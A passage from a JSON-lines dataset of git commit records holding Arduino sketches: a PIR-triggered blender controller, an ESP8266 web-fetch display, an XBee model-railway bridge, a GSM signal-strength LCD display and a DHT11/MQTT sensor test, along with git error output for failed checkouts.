'https:\/\/github.com\/Scalpel78\/Ghost.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"53a4b59614751df251bf7afc2929e746d9902c17","subject":"Added arduino file to turn on blender based on PIR","message":"Added arduino file to turn on blender based on PIR\n","repos":"apkessler\/counter-cat","old_file":"arduino\/CounterCat\/CounterCat.ino","new_file":"arduino\/CounterCat\/CounterCat.ino","new_contents":"\n\n#define BLENDER_PIN 3\n#define SENSOR_PIN 2\n\n#define WARM_UP_TIME_MS ((unsigned long) 41000)\n#define COOLDOWN_TIME_MS 5000\n#define ACTIVE_TIME_MS 2000\n\nenum State\n{\n S_WARMING_UP,\n S_IDLE,\n S_ACTIVE,\n S_COOLDOWN,\n};\n\nState currentState;\n\nString state2String[] =\n{\n \"warming up\",\n \"idle\",\n \"active\",\n \"cooldown\"\n};\n\n\nboolean warmedUp = false;\n\nunsigned long timerStart = 0;\nunsigned long now = 0;\n\nvoid setup(void)\n{\n \n pinMode(BLENDER_PIN, OUTPUT);\n pinMode(SENSOR_PIN, INPUT); \n \n digitalWrite(BLENDER_PIN, LOW);\n \n Serial.begin(9600);\n Serial.println(\"Starting CounterCat...\");\n \n Serial.println(\"Warming up...\");\n timerStart = millis();\n \n currentState = S_WARMING_UP;\n}\n\nvoid loop(void)\n{\n now = millis();\n \n \/\/if (now % 1000 == 0)\n \/\/{\n \/\/ Serial.println(\"State = \" + state2String[currentState]); \n \/\/}\n \n switch (currentState)\n {\n \n case S_WARMING_UP:\n if (now % 1000 == 0)\n {\n Serial.println(String(now*100\/WARM_UP_TIME_MS, DEC) + \"%\");\n }\n \n if (now > (timerStart + WARM_UP_TIME_MS))\n {\n Serial.println(\"Warmed up!\");\n currentState = S_IDLE;\n }\n break;\n \n \n case S_IDLE:\n if (digitalRead(SENSOR_PIN))\n {\n Serial.println(\"Movement!\");\n currentState = S_ACTIVE; \n digitalWrite(BLENDER_PIN, HIGH);\n timerStart = now; \n }\n break;\n \n case S_ACTIVE:\n \n if (now > (timerStart + ACTIVE_TIME_MS))\n {\n Serial.println(\"Done being active!\");\n digitalWrite(BLENDER_PIN, LOW);\n timerStart = now;\n currentState = S_COOLDOWN; \n }\n break;\n \n case S_COOLDOWN:\n if (now > (timerStart + COOLDOWN_TIME_MS))\n {\n Serial.println(\"Done cooling down.\");\n currentState = S_IDLE; \n }\n break;\n }\n \n delay(1);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/CounterCat\/CounterCat.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8d3c675baa44629985cf7c0949c131c6fe4914ca","subject":"Create esp8266Module-Base.ino","message":"Create esp8266Module-Base.ino","repos":"mrdavidjwatts\/esp8266Module,fz-29\/esp8266Module,celmare\/esp8266Module","old_file":"esp8266Module-Base.ino","new_file":"esp8266Module-Base.ino","new_contents":"\/\/INCLUDES\n\n#include \"U8glib.h\"\n#include <SoftwareSerial.h>\n\n\/\/ OBJECTS\nU8GLIB_SSD1306_128X64 u8g(U8G_I2C_OPT_NONE);\t\/\/ Display which does not send AC\nSoftwareSerial esp8266Module(10, 11); \/\/ RX, TX\n\n\/\/ GLOBALS\nString network = \"---\";\nString password = \"---\";\nString weatherCode = \"2644668\";\nbool breakOut = false;\nint wifiStatus = 1;\n\n\/\/ Temp variables\nString val1 = \"----------\";\nString val2 = \"----------\";\nString val3 = \"----------\";\nString val4 = \"----------\";\nString val5 = \"----------\";\nint loopNum = 0;\nvoid setup() {\n \/\/ Serial Start\n Serial.begin(9600);\n esp8266Module.begin(9600);\n delay(10000);\n \/\/ Serial end\n}\n\nvoid loop() {\n \/\/ picture loop\n u8g.firstPage();\n do {\n displayShow();\n } while ( u8g.nextPage() );\n runEsp8266(\"www.davidjwatts.com\", \"\/arduino\/esp8266.php\");\n}\n\n\/\/ START DISPLAY\nvoid displayShow() {\n u8g.setFont(u8g_font_helvB08);\n u8g.setPrintPos(0, 8);\n String loops = \"Loops:\";\n u8g.print(loops + loopNum);\n u8g.setFont(u8g_font_5x8);\n u8g.setPrintPos(0, 18);\n u8g.print(val1);\n u8g.setFont(u8g_font_5x8);\n u8g.setPrintPos(0, 30);\n u8g.print(val2);\n u8g.setPrintPos(0, 40);\n u8g.print(val3);\n u8g.setPrintPos(0, 50);\n u8g.print(val4);\n u8g.setPrintPos(0, 60);\n u8g.print(val5);\n\n}\n\/\/ END DISPLAY\n\n\/\/ MAIN ESP8266 FUNCTION\nvoid runEsp8266(String website, String page) {\n \/\/ 0 need to reset or beginning of loop\n \/\/ 1 reset complete check wifi mode\n \/\/ 2 wifi mode is 3, now check network connection\n \/\/ 3 If not connected connect to network\n \/\/ 4 request page from server\n \/\/ 5 unlink from server after request\n \/\/ 6 close network connection\n switch (wifiStatus) {\n case 0: \/\/ 0 need to reset or beginning of loop\n Serial.println(\"TRYING esp8266Reset\");\n esp8266Reset();\n break;\n case 1: \/\/ 1 reset complete check wifi mode\n Serial.println(\"TRYING changeWifiMode\");\n changeWifiMode();\n break;\n case 2: \/\/ 2 wifi mode is 3, now check network connection\n Serial.println(\"TRYING checkWifiStatus\");\n checkWifiStatus();\n break;\n case 3: \/\/ 3 If not connected connect to network\n Serial.println(\"TRYING connectToWifi\");\n connectToWifi();\n \/\/connectToWifi(\"networkIdetifier\", \"networkPassword\");\n break;\n case 4: \/\/ 4 request page from server\n Serial.println(\"TRYING getPage\");\n getPage(website, page);\n \/\/getPage(website, page, \"?num=\", \"3\", \"&num2=\", \"2000\");\n break;\n case 5: \/\/ 5 unlink from server after request\n Serial.println(\"TRYING unlinkPage\");\n unlinkPage();\n break;\n }\n}\n\n\/\/ END MAIN ESP8266 FUNCTION\n\n\/\/ 0 - RESET\nbool esp8266Reset() {\n esp8266Module.println(F(\"AT+RST\"));\n delay(7000);\n if (esp8266Module.find(\"OK\"))\n {\n val1 = F(\"-RESET-\");\n wifiStatus = 1;\n return true;\n }\n else\n {\n val1 = F(\"-FAILED-\");\n wifiStatus = 0;\n return false;\n }\n}\n\/\/ END RESET\n\n\/\/ 1 - CHANGE MODE\nbool changeWifiMode()\n{\n esp8266Module.println(F(\"AT+CWMODE?\"));\n delay(5000);\n if (esp8266Module.find(\"3\"))\n {\n val1 = F(\"Wifi Mode is 3\");\n wifiStatus = 2;\n return true;\n }\n else\n {\n esp8266Module.println(F(\"AT+CWMODE=3\"));\n delay(5000);\n if (esp8266Module.find(\"no change\") || esp8266Module.find(\"OK\"))\n {\n val1 = F(\"Wifi Mode is 3\");\n wifiStatus = 2;\n return true;\n }\n else\n {\n val1 = F(\"Wifi Mode failed\");\n wifiStatus = 0;\n return false;\n }\n }\n\n}\n\/\/ END CHANGE MODE\n\n\/\/ 2 - CHECK WIFI NETWORK STATUS\nbool checkWifiStatus() {\n esp8266Module.println(\"AT+CWJAP?\");\n delay(5000);\n if (esp8266Module.find(\":\")) {\n Serial.println(\"WIFI NETWORK CONNECTED\");\n val1 = F(\"WIFI:\");\n val1 += esp8266Module.readStringUntil('\\n');\n wifiStatus = 4;\n return true;\n }\n else\n {\n wifiStatus = 3;\n return false;\n }\n}\n\/\/ END CHECK WIFI NETWORK STATUS\n\n\/\/ 3 - CONNECT TO WIFI\nbool connectToWifi() {\n String cmd = F(\"AT+CWJAP=\\\"\");\n cmd += network;\n cmd += F(\"\\\",\\\"\");\n cmd += password;\n cmd += F(\"\\\"\");\n esp8266Module.println(cmd);\n delay(5000);\n if (esp8266Module.find(\"OK\"))\n {\n Serial.println(\"CONNECTED TO WIFI\");\n\n val1 = F(\"CONNECTED TO WIFI\");\n wifiStatus = 4;\n return true;\n }\n else\n {\n wifiStatus = 0;\n return false;\n }\n}\n\/\/ optional function that accepts the network ID and password as variables\nbool connectToWifi(String networkId, String networkPassword) {\n String cmd = F(\"AT+CWJAP=\\\"\");\n cmd += networkId;\n cmd += F(\"\\\",\\\"\");\n cmd += networkPassword;\n cmd += F(\"\\\"\");\n esp8266Module.println(cmd);\n delay(5000);\n if (esp8266Module.find(\"OK\"))\n {\n Serial.println(\"CONNECTED TO WIFI\");\n\n val1 = F(\"CONNECTED TO WIFI\");\n wifiStatus = 4;\n return true;\n }\n else\n {\n wifiStatus = 0;\n return false;\n }\n}\n\/\/ END CONNECT TO WIFI NETWORK\n\n\/\/ 4 - GET PAGE\nbool getPage(String website, String page) {\n String cmd = F(\"AT+CIPSTART=\\\"TCP\\\",\\\"\");\n cmd += website;\n cmd += F(\"\\\",80\");\n esp8266Module.println(cmd);\n delay(5000);\n if (esp8266Module.find(\"Linked\"))\n {\n Serial.print(\"Connected to server\");\n\n }\n cmd = \"GET \";\n cmd += page;\n cmd += \"?num=1\"; \/\/construct the http GET request\n cmd += \"&weather=\";\n cmd += weatherCode;\n cmd += \" HTTP\/1.0\\r\\n\";\n cmd += \"Host:\";\n cmd += website;\n cmd += \"\\r\\n\\r\\n\"; \n Serial.println(cmd); \n esp8266Module.print(\"AT+CIPSEND=\");\n esp8266Module.println(cmd.length());\n Serial.println(cmd.length());\n\n if (esp8266Module.find(\">\")) \n {\n Serial.println(\"found > prompt - issuing GET request\"); \n esp8266Module.println(cmd); \n }\n else\n {\n wifiStatus = 5;\n Serial.println(\"No '>' prompt received after AT+CPISEND\");\n val1 = F(\"Failed request, retrying...\");\n return false;\n }\n\n while (esp8266Module.available() > 0)\n {\n esp8266Module.read();\n }\n\n if (esp8266Module.find(\"*\")) {\n String tempMsg = esp8266Module.readStringUntil('\\n');\n val2 = splitToVal(tempMsg, \"@\", \"|\");\n val3 = splitToVal(tempMsg, \"+\", \"@\");\n String piecetemp = splitToVal(tempMsg, \"|\", \"$\");\n val5 = splitToVal(tempMsg, \"$\", \"^\");\n val4 = splitToVal(tempMsg, \"^\", \"~\");\n int peice = piecetemp.toInt();\n Serial.println(val2);\n Serial.println(val3);\n Serial.println(val4);\n Serial.println(val5);\n Serial.println(piecetemp);\n wifiStatus = 5;\n return true;\n }\n else {\n wifiStatus = 5;\n return false;\n }\n\n}\n\n\/\/ optional getPage function that accepts user variables\nbool getPage(String website, String page, String urlVariableName1, String variable1, String urlVariableName2, String variable2) {\n String cmd = F(\"AT+CIPSTART=\\\"TCP\\\",\\\"\");\n cmd += website;\n cmd += F(\"\\\",80\");\n esp8266Module.println(cmd);\n delay(5000);\n if (esp8266Module.find(\"Linked\"))\n {\n Serial.print(\"Connected to server\");\n\n }\n cmd = \"GET \";\n cmd += page;\n cmd += urlVariableName1; \/\/ something like ?num=\n cmd += variable1;\n cmd += urlVariableName2; \/\/ something like &num2=\n cmd += variable2;\n cmd += \" HTTP\/1.0\\r\\n\";\n cmd += \"Host:\";\n cmd += website;\n cmd += \"\\r\\n\\r\\n\"; \n Serial.println(cmd); \n esp8266Module.print(\"AT+CIPSEND=\");\n esp8266Module.println(cmd.length());\n Serial.println(cmd.length());\n\n if (esp8266Module.find(\">\"))\n {\n Serial.println(\"found > prompt - issuing GET request\");\n esp8266Module.println(cmd); \n }\n else\n {\n wifiStatus = 5;\n Serial.println(\"No '>' prompt received after AT+CPISEND\");\n val1 = F(\"Failed request, retrying...\");\n return false;\n }\n\n while (esp8266Module.available() > 0)\n {\n esp8266Module.read();\n }\n\n if (esp8266Module.find(\"*\")) {\n String tempMsg = esp8266Module.readStringUntil('\\n');\n val2 = splitToVal(tempMsg, \"@\", \"|\");\n val3 = splitToVal(tempMsg, \"+\", \"@\");\n String piecetemp = splitToVal(tempMsg, \"|\", \"$\");\n val4 = splitToVal(tempMsg, \"$\", \"^\");\n val5 = splitToVal(tempMsg, \"^\", \"~\");\n int peice = piecetemp.toInt();\n Serial.println(val2);\n Serial.println(val3);\n Serial.println(val4);\n Serial.println(val5);\n Serial.println(piecetemp);\n wifiStatus = 5;\n return true;\n }\n else {\n wifiStatus = 5;\n return false;\n }\n\n}\n\n\/\/ END GET PAGE\n\n\/\/ 5 - UNLINK\nbool unlinkPage() {\n esp8266Module.println(F(\"AT+CIPCLOSE\"));\n delay(5000);\n if (esp8266Module.find(\"Unlink\"))\n {\n val1 = F(\"UNLINKED\");\n wifiStatus = 0;\n loopNum++;\n return true;\n }\n else\n {\n wifiStatus = 4;\n return false;\n }\n}\n\/\/ END UNLINK\n\n\/\/ 6 - CLOSE NETWORK --- This is not ready\nbool closeNetwork() {\n esp8266Module.println(F(\"AT+CWQAP\"));\n delay(5000);\n if (esp8266Module.find(\"OK\"))\n {\n val1 = F(\"NETWORK DISCONNECTED\");\n wifiStatus = 0;\n return true;\n }\n else\n {\n wifiStatus = 4;\n return false;\n }\n}\n\/\/ END CLOSE NETWORK\n\n\/\/ 7 - FIND WIFI NETWORKS --- This is not ready\nbool findWifiNetworks() {\n esp8266Module.println(\"AT+CWJAP\");\n delay(15000);\n if (esp8266Module.find(\":\")) {\n Serial.println(\"WIFI NETWORK CONNECTED\");\n val1 = F(\"WIFI:\");\n val1 += esp8266Module.readStringUntil('\\n');\n wifiStatus = 4;\n return true;\n }\n else\n {\n wifiStatus = 3;\n return false;\n }\n}\n\/\/ END CHECK WIFI NETWORK STATUS\n\n\/\/ SPLIT UP STRINGS\nString splitToVal(String inputString, String delimiter, String endChar) {\n String tempString = \"\";\n int from;\n int to;\n for (int i = 0; i < inputString.length(); i++) {\n if (inputString.substring(i, i + 1) == delimiter) {\n from = i + 1;\n }\n if (inputString.substring(i, i + 1) == endChar) {\n to = i;\n }\n }\n tempString = inputString.substring(from, to);\n return tempString;\n}\n\/\/ END SPLIT UP STRINGS\n\n\/\/ SPLIT UP STRINGS --- This is not ready\nString splitWifi(String inputWifi) {\n int firstListItem = inputWifi.indexOf(\"+CWLAP:(\");\n int secondListItem = inputWifi.indexOf(\"item\", firstListItem + 1 );\n String indexWifi = \"+CWLAP:(\"; \/\/ unhappy face\n String findName = \"\\\"\";\n \n}\n\/\/ END SPLIT UP STRINGS\n\n\/\/ FLOAT TO STRING\n\nString floatToString(float inputFloat){\nchar CharBuffer[10]; \ndtostrf(inputFloat,1,2,CharBuffer);\nString floatString = String(CharBuffer); \nreturn floatString;\n}\n\/\/ END FLOAT TO STRING\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266Module-Base.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ad20038ba3941aa48eed16c24984c7bbe8959e20","subject":"inclus\u00e3o do c\u00f3digo arduino","message":"inclus\u00e3o do c\u00f3digo arduino\n","repos":"isivroes\/sistemasembarcados,isivroes\/sistemasembarcados","old_file":"util\/arduino_7seg.ino","new_file":"util\/arduino_7seg.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/isivroes\/sistemasembarcados.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"65c3c6183f3f39d5ead96f570cc9d4dad3f596d1","subject":"SPI update","message":"SPI update\n","repos":"Azrrael-exe\/01-SDA,Azrrael-exe\/01-SDA","old_file":"src\/main.ino","new_file":"src\/main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Azrrael-exe\/01-SDA.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3617e0a7355f46338e889ff7da6383b0d8ed9e26","subject":"Implemented motor control","message":"Implemented motor control\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/basicDriveCode\/basicDriveCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d361e973464c4ee9b9ce8b36ad2c4a6c62d26166","subject":"SxXbee2 hinzugef\u00fcgt","message":"SxXbee2 hinzugef\u00fcgt\n","repos":"opensx\/SX22b","old_file":"examples\/SxXBee2\/SxXBee2.ino","new_file":"examples\/SxXBee2\/SxXBee2.ino","new_contents":"\/*\n * SxXBee2.ino\n *\n * Created on: 28.08.2015\n * Changed on: 30.08.2015\n * Changed on: 04.09.2015 broadcast of power state\n *\n * Author and Copyright: Michael Blank\n *\n * reads date from xbee and sends them to SX Bus\n *\n * !!! SX lib does not work with SoftwareSerial Lib !!!\n *\n * Hardware: SX-Basisplatine von R.Thamm \n * + Xbee an RX\/TX des Arduino Pro Mini\n *\/\n\n\n#include <SX22.h> \/\/ this is the Selectrix library\n#include <SX22Command.h> \/\/ this is the Selectrix Command library\n#include <XBee.h> \/\/ XBee library by Andrew Rapp\n\n#define LED 13 \/\/ LED indicator at pin 13\n\nSX sx; \/\/ selectrix library\nSXCommand sxcmd; \/\/ holds command data\n\nstatic int ledState = LOW;\nstatic byte oldSx[MAX_CHANNEL_NUMBER];\nlong lastPowerSent = 0; \/\/ timer for repeating the power state messages\n\nString inputString = \"\"; \/\/ a string to hold incoming data\n\nstatic uint8_t track, oldTrack;\n\nuint8_t payload[12] ; \/\/ 12 byte string for sending data to coordinator\n\n\/\/ Create an XBee object\nXBee xbee = XBee();\nXBeeResponse response = XBeeResponse();\n\n\/\/ create reusable response objects for responses we expect to handle\nZBRxResponse rx = ZBRxResponse();\nModemStatusResponse msr = ModemStatusResponse();\n\n\/\/ Address of receiving XBee\nXBeeAddress64 broadcast64;\nZBTxRequest zbTx;\nZBTxStatusResponse txStatus;\n\n\nvoid sxisr(void) {\n \/\/ if you want to understand this, see:\n \/\/ http:\/\/www.arduino.cc\/cgi-bin\/yabb2\/YaBB.pl?num=1239522239\n sx.isr();\n}\n\nvoid ledToggle() {\n static uint8_t ledState = LOW;\n if (ledState == HIGH) {\n ledState = LOW;\n } else {\n ledState = HIGH;\n }\n digitalWrite(LED, ledState);\n}\n\n\/** init communication and XBee data package\n*\/\nvoid setup() {\n\n Serial.begin(9600); \/\/ for comm with xbee\n pinMode(LED,OUTPUT); \/\/ indicator for rec. packet\n xbee.setSerial(Serial);\n broadcast64 = XBeeAddress64(0, 0x0000FFFF); \/\/broadcast address\n zbTx = ZBTxRequest(broadcast64, payload, sizeof(payload)); \/\/ 64bit address\n zbTx.setAddress16(0xFFFE); \/\/ addr16 for broadcast;\n txStatus = ZBTxStatusResponse();\n \n track = oldTrack = 0;\n\n \/\/ RISING slope on INT0 triggers the interrupt routine sxisr (see above)\n attachInterrupt(0, sxisr, RISING);\n\n delay(100); \/\/ give some time to initalize\n}\n\n\/** transmit power state as broadcast to all XBees\n * \"P 1\" = track power (gleisbit) is on\n * \"P 0\" = track power is off\n*\/\nvoid send_power_state(uint8_t on) {\n for (int i=0; i <12; i++) {\n payload[i]=0;\n }\n payload[0]='P';\n payload[1]= ' ';\n if (on == 1) {\n payload[2] = '1';\n } else {\n payload[2] = '0';\n }\n payload[3]=0; \/\/ string end *\/\n\n xbee.send(zbTx);\n}\n\n\/** receive loop for:\n * a) receiving data from XBee Throttles\n * b) send (regularly) broadcast of power state to XBee Throttles\n*\/\nvoid loop() {\n xbee.readPacket();\n if (xbee.getResponse().isAvailable()) {\n \/\/ got something\n if (xbee.getResponse().getApiId() == ZB_RX_RESPONSE) {\n digitalWrite(LED,HIGH); \/\/ indicate start of received packet\n \/\/ got a zb rx packet\n \/\/ now fill our zb rx class\n xbee.getResponse().getZBRxResponse(rx);\n String s=\"\";\n for (int i=0; i<rx.getDataLength(); i++) {\n char c = rx.getData(i);\n s += c;\n }\n\n \/\/ interpret SX command from XBee\n int n= s.indexOf(' '); \/\/ command split by space\n \/\/ example: \"44 31\" = set loco #44 to speed 31,\n \/\/ forward, Light=off, F=off\n \/\/ (standard selectrix data format, 8 bit)\n if (n != -1) {\n String ch = s.substring(0,n);\n int i_ch = ch.toInt();\n String s2 = s.substring(n+1,s.length());\n int i_value = s2.toInt();\n do {\n \t\tdelay(10);\n } while (sx.set(i_ch,i_value)); \/\/ send to SX bus\n\n }\n digitalWrite(LED,LOW); \/\/ indicate stop of send to SX Bus\n }\n } \/* else if (xbee.getResponse().isError()) {\n Serial.println(\"Error reading packet. Error code: \");\nCURRENTLY NOT HANDLED\n } ******************************************************\/\n\n \/\/ poll trackbit info and send as broadcast at least every 10 secs\n int track = sx.getTrackBit();\n if ((track != oldTrack) || ( (millis() - lastPowerSent) > 10000 ) ){ \n oldTrack = track;\n lastPowerSent = millis();\n send_power_state(track);\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SxXBee2\/SxXBee2.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"23eb87398bfd5f9d4af3324a2529767770e52000","subject":"gsm lcd","message":"gsm lcd\n","repos":"ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook","old_file":"GsmLcd\/GsmLcd.ino","new_file":"GsmLcd\/GsmLcd.ino","new_contents":"\/*\n LiquidCrystal Library - Hello World\n \n Demonstrates the use a 16x2 LCD display. The LiquidCrystal\n library works with all LCD displays that are compatible with the \n Hitachi HD44780 driver. There are many of them out there, and you\n can usually tell them by the 16-pin interface.\n \n This sketch prints \"Hello World!\" to the LCD\n and shows the time.\n \n \n Library originally added 18 Apr 2008\n by David A. Mellis\n library modified 5 Jul 2009\n by Limor Fried (http:\/\/www.ladyada.net)\n example added 9 Jul 2009\n by Tom Igoe\n modified 22 Nov 2010\n by Tom Igoe\n \n This example code is in the public domain.\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/LiquidCrystal\n *\/\n\n\/\/ include the library code:\n#include <LiquidCrystal.h>\n\n\/\/ initialize the library with the numbers of the interface pins\nLiquidCrystal lcd(\n 5, \/\/ RS\n 6, \/\/ EN\n \n 7, \/\/ D4\n 8, \/\/ D5\n 9, \/\/ D6\n 10 \/\/ D7\n );\n\/*\n * LCD R\/W pin to ground\n * 10K resistor:\n * ends to +5V and ground\n * wiper to LCD VO pin (pin 3)\n *\/\n\n\n#define\t\tAPN \t\t\"internet.vodafone.net\"\n\n\/*\nTHIS CODE IS STILL IN PROGRESS!\n\nOpen up the serial console on the Arduino at 115200 baud to interact with FONA\n\nNote that if you need to set a GPRS APN, username, and password scroll down to\nthe commented section below at the end of the setup() function.\n*\/\n#include \"Adafruit_FONA.h\"\n\n#define FONA_RX 2\n#define FONA_TX 3\n#define FONA_RST 4\n\n\n\/\/ this is a large buffer for replies\nchar replybuffer[255];\n\n\/\/ We default to using software serial. If you want to use hardware serial\n\/\/ (because softserial isnt supported) comment out the following three lines \n\/\/ and uncomment the HardwareSerial line\n#include <SoftwareSerial.h>\nSoftwareSerial fonaSS = SoftwareSerial(FONA_TX, FONA_RX);\nSoftwareSerial *fonaSerial = &fonaSS;\n\n\/\/ Hardware serial is also possible!\n\/\/ HardwareSerial *fonaSerial = &Serial1;\n\n\/\/ Use this for FONA 800 and 808s\nAdafruit_FONA fona = Adafruit_FONA(FONA_RST);\n\/\/ Use this one for FONA 3G\n\/\/Adafruit_FONA_3G fona = Adafruit_FONA_3G(FONA_RST);\n\nuint8_t readline(char *buff, uint8_t maxbuff, uint16_t timeout = 0);\n\nuint8_t type;\n\nvoid setup() {\n \/\/ set up the LCD's number of columns and rows: \n lcd.begin(16, 2);\n \/\/ Print a message to the LCD.\n lcd.print(\"hello, world!\");\n \n while (!Serial);\n\n Serial.begin(115200);\n Serial.println(F(\"Initializing....(May take 3 seconds)\"));\n\n fonaSerial->begin(4800);\n if (! fona.begin(*fonaSerial)) {\n Serial.println(F(\"Couldn't find FONA\"));\n while (1);\n }\n type = fona.type();\n Serial.println(F(\"FONA is OK\"));\n \n \/\/ Print module IMEI number.\n char imei[15] = {0}; \/\/ MUST use a 16 character buffer for IMEI!\n uint8_t imeiLen = fona.getIMEI(imei);\n if (imeiLen > 0) {\n Serial.print(\"Module IMEI: \"); Serial.println(imei);\n }\n\n \/\/ Optionally configure a GPRS APN, username, and password.\n \/\/ You might need to do this to access your network's GPRS\/data\n \/\/ network. Contact your provider for the exact APN, username,\n \/\/ and password values. Username and password are optional and\n \/\/ can be removed, but APN is required.\n \/\/fona.setGPRSNetworkSettings(F(\"your APN\"), F(\"your username\"), F(\"your password\"));\n fona.setGPRSNetworkSettings(F(APN));\n\n \/\/ Optionally configure HTTP gets to follow redirects over SSL.\n \/\/ Default is not to follow SSL redirects, however if you uncomment\n \/\/ the following line then redirects over SSL will be followed.\n \/\/fona.setHTTPSRedirect(true);\n \n}\n\nvoid loop() {\n \/\/ set the cursor to column 0, line 1\n \/\/ (note: line 1 is the second row, since counting begins with 0):\n lcd.setCursor(0, 1);\n \/\/ print the number of seconds since reset:\n\/\/ lcd.print(millis()\/1000);\n \n \/\/ read the RSSI\n uint8_t n = fona.getRSSI();\n int8_t r;\n\n Serial.print(F(\"RSSI = \")); \n Serial.print(n); \n Serial.print(\": \");\n \n lcd.print(F(\"RSSI = \")); \n lcd.print(n); \n\/\/ lcd.print(\": \");\n \n if (n == 0) r = -115;\n if (n == 1) r = -111;\n if (n == 31) r = -52;\n if ((n >= 2) && (n <= 30)) {\n r = map(n, 2, 30, -110, -54);\n }\n Serial.print(r); \n Serial.println(F(\" dBm\"));\n \n\/\/ lcd.print(r); \n\/\/ lcd.print(F(\" dBm\"));\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GsmLcd\/GsmLcd.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8d935cb5d1b52cd7c5115132a0d76864d87272ea","subject":"finished finally","message":"finished finally\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration use IR sensor to turn\/src\/main.ino","new_file":"exploration use IR sensor to turn\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'use' did not match any file(s) known to git\nerror: pathspec 'IR' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'turn\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0e32752cfcbb399f0570aed9ec8c1a5edbc7d98c","subject":" Added updated version with code for RBG LED \"blinkenlights\".","message":" Added updated version with code for RBG LED \"blinkenlights\".\n","repos":"PuceBaboon\/ESP8266-AIT-T5,PuceBaboon\/ESP8266-AIT-T5","old_file":"DHT_Test_Blinken.ino","new_file":"DHT_Test_Blinken.ino","new_contents":"\/*\n * $Id: DHT_Test.ino,v 1.17 2016\/01\/07 01:23:13 anoncvs Exp $\n *\n * Test program for the AI Thinker \"Black board T5\", after\n * modification to remove the 8051-based QFP micro and wire\n * the DHT11 sensor and blue LED directly to the ESP8266.\n *\n * Spends most of the time with the ESP8266 in deep-sleep;\n * waking every 10-minutes to read the DHT11 sensor and\n * publish the data to MQTT.\n *\n * NOTE - All user-specific settings (SSID\/Passwd, etc)\n * are in user_config.h. These settings -MUST-\n * be customized for -your- network.\n *\/\n\n#include <ESP8266WiFi.h>\n#include <pgmspace.h>\n#include <DHT.h>\n#include <MQTT.h>\n#include \"user_config.h\"\n\n\/* Globals (Terribly bad style, old boy!) *\/\nboolean flgIsConnected = false;\t\/\/ MQTT connected-to-server flag.\nboolean flgIsPublished = false;\t\/\/ MQTT publish-completed flag.\nint BLED = BLED_PIN;\t\t\/\/ Blue debug LED (set in user_config.h).\nint GLED = GLED_PIN;\t\t\/\/ Green debug LED (set in user_config.h).\nint RLED = RLED_PIN;\t\t\/\/ Red debug LED (set in user_config.h).\nchar buff[MQ_TOPIC_SIZE];\nchar clidbuff[15], vbuff[TEMPR_SIZE], tbuff[TEMPR_SIZE], hbuff[TEMPR_SIZE];\nfloat temperature = 0;\nfloat humidity = 0;\n\n\/* The following line is required for proper operation of VCC measurements. *\/\nADC_MODE(ADC_VCC);\n\n\/* Initialize the DHT sensor type to DHT11 (pin configured in usr_config.h). *\/\nDHT dht(DHT_PIN, DHT11, 15);\n\n\/* Create WiFi client object. *\/\nWiFiClient wclient;\n\n\/* NOTE:- All of these values are configured in user_config.h. *\/\nconst byte ip[] = WIFI_IPADDR;\nconst byte gateway[] = WIFI_GATEWY;\nconst byte netmask[] = WIFI_NETMSK;\nconst byte dnssrv[] = WIFI_DNSSRV;\n\n\n\/*\n * Turn on the individual LEDs for a short\n * flash. Note that on the T5 board the LEDs\n * are driven by low-side switches.\n *\/\nvoid LedFlash(int led_pin) {\n digitalWrite(led_pin, LOW);\n delay(40);\n digitalWrite(led_pin, HIGH);\n}\n\n\n\/*\n * Wrappers for individual colour LED flash routine.\n *\/\nvoid BFlash() {\n LedFlash(BLED);\n}\nvoid GFlash() {\n LedFlash(GLED);\n}\nvoid RFlash() {\n LedFlash(RLED);\n}\n\n\n\/*\n * Show the world we're alive. A short, rapid flash cycle\n * for the blue LED at power-up.\n *\/\nvoid OnFlash() {\n for (int i = 0; i < 3; i++) {\n\tBFlash();\n\tdelay(30);\n\tGFlash();\n\tdelay(30);\n\tRFlash();\n\tdelay(30);\n }\n}\n\n\n\/*\n * Try to get a valid reading from the DHT11 sensor\n * (not always easy).\n *\/\nvoid getSensorData() {\n temperature = dht.readTemperature();\n humidity 